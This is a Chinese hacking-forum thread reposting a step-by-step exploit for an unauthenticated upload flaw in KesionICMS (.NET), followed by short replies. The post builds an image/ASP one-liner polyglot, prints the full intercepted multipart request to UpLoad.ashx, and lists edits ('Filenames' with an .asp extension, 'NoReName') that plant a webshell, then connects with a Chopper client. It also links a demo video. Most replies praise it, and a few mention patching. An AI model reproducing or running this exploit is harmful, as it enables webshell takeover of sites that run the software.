查看: 19845|回复: 9

[转]KesionICMS(.net)可无视任何条件前台getshell

[复制链接]
发表于 2014-10-27 15:34:20 | 显示全部楼层 |阅读模式
来源:zph
KesionICMS除了自带的文章、图片、下载系统外还可以在文章、图片、下载三个系统模型的基础上自定义出功能模型比如房产系统,酒店系统,图片系统,软件下载等;自定义表单助您轻松打造在线报名,举报投诉等功能。10年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,力争为全球更多网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

KesionICMS某个频道上传功能的地方有缺陷,导致漏洞形成。
本漏洞测试的时候无需登录,即可进行操作。
问题出在:User\Include\UpLoad.ashx,程序只对上传时的文件进行一系列判断,但是没有在文件上传后进行判断,导致可以getshell。
因为官网demo有 安全狗,所以不能用官网来演示菜刀连接……但证明成功上传还是可以的
20141026100840228.gif
0x01 准备

由于程序会对图片的有效性进行判断,所以我们不得不copy一下 copy /b 1.jpg+1.asp 123.jpg
其中1.jpg为随意有效图片文件,1.asp为一句话,得到的123.jpg即为copy后待上传的图片文件。

0x02 上传&改包

用burp截包如下:
[AppleScript] 查看源码 复制代码
POST /user/include/upload.ashx HTTP/1.1
Accept: text/*
Content-Type: multipart/form-data; boundary=----------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
User-Agent: Shockwave Flash
Host: www.******.com
Content-Length: 18389
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=dd1zohqmmxotk045nu52vsaf
 
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filename"
 
2.jpg
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="AutoRename"
 
4
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="formid"
 
0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="FieldID"
 
pic
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="upBySwf"
 
1
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ispic"
 
0
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="ChannelID"
 
1001
------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
Content-Disposition: form-data; name="Filedata"; filename="2.jpg"
Content-Type: application/octet-stream
 
(省略文件内容)
 
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Upload"
 
Submit Query
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3--

我们做以下几个修改:(这块语言可能描述的不太好,大家谅解,下面会有一个视频演示来帮大家理解)

1.复制以下内容(不同网站内容可能不完全相同)
[AppleScript] 查看源码 复制代码
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="Filename"
2.jpg

并在2.jpg后面回车、粘贴
20141026100840229.gif
2.将第二个2.jpg改为asp后缀文件

3.将第二个Filename改为Filenames

4.复制以下内容(不同网站内容可能不完全相同)
[AppleScript] 查看源码 复制代码
------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
Content-Disposition: form-data; name="upBySwf"
1


并在1后面回车、粘贴
20141026100840231.gif
5.将第二个upBySwf改为NoReName
至此就完成修改了。下面按Ctrl+R将Raw发送到Repeater,点击Go 显示出文件路径
20141026100840232.gif
菜刀连接即可
20141026100840233.gif
演示视频:http://pan.baidu.com/s/1eQrIj7c 密码ptr5 不听歌的话就静音

评分

参与人数 1i币 +2 收起 理由
契约 + 2 有视频+1

查看全部评分

回复

使用道具 举报

发表于 2014-10-27 17:11:46 | 显示全部楼层
抢个座位,思密达
回复 支持 反对

使用道具 举报

发表于 2014-10-27 22:48:22 | 显示全部楼层
好像在乌云下上看见过
回复 支持 反对

使用道具 举报

发表于 2014-10-27 23:58:44 | 显示全部楼层
好强大.....
回复 支持 反对

使用道具 举报

发表于 2014-10-28 08:41:51 | 显示全部楼层
前排挤挤
回复 支持 反对

使用道具 举报

发表于 2014-10-29 16:42:59 | 显示全部楼层
很好,很强大
回复 支持 反对

使用道具 举报

发表于 2015-9-13 14:59:26 | 显示全部楼层
6666666666
回复 支持 反对

使用道具 举报

发表于 2026-5-21 08:00:00 | 显示全部楼层

Re: [转]KesionICMS(.net)可无视任何条件前台getshell

感谢楼主分享这个漏洞细节,分析得很清楚。这种通过改包绕过上传后检测的手法挺典型的,很多CMS都有类似问题。想问一下,这个漏洞在最新版KesionICMS里是否已经修复了?另外,除了视频里演示的,还有没有其他需要注意的防御思路,比如限制上传目录的执行权限之类的?
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: [转]KesionICMS(.net)可无视任何条件前台getshell

感谢分享这个漏洞的分析,过程写得很详细,特别是修改数据包的思路很有参考价值。不过这个漏洞影响范围不小,建议使用KesionICMS的站长尽快检查自己的站点,尤其是UpLoad.ashx这个文件的上传逻辑,最好加上二次验证,不要只依赖上传时的判断。另外视频演示地址也保留了,方便动手复现,挺周到的。
回复 支持 反对

使用道具 举报

发表于 3 天前 | 显示全部楼层

Re: [转]KesionICMS(.net)可无视任何条件前台getshell

感谢分享这个漏洞细节,分析得很清楚。这个上传缺陷确实比较典型——只检查了上传时的文件类型,却没有对最终保存的文件做二次验证,加上可以通过改包修改文件名和关闭重命名,直接导致getshell。复制马+改包的操作步骤也很详细,演示视频应该能帮助新手理解。建议使用KesionICMS的站长尽快检查相关版本并修复。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-6-25 03:54 , Processed in 0.050229 second(s), 26 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部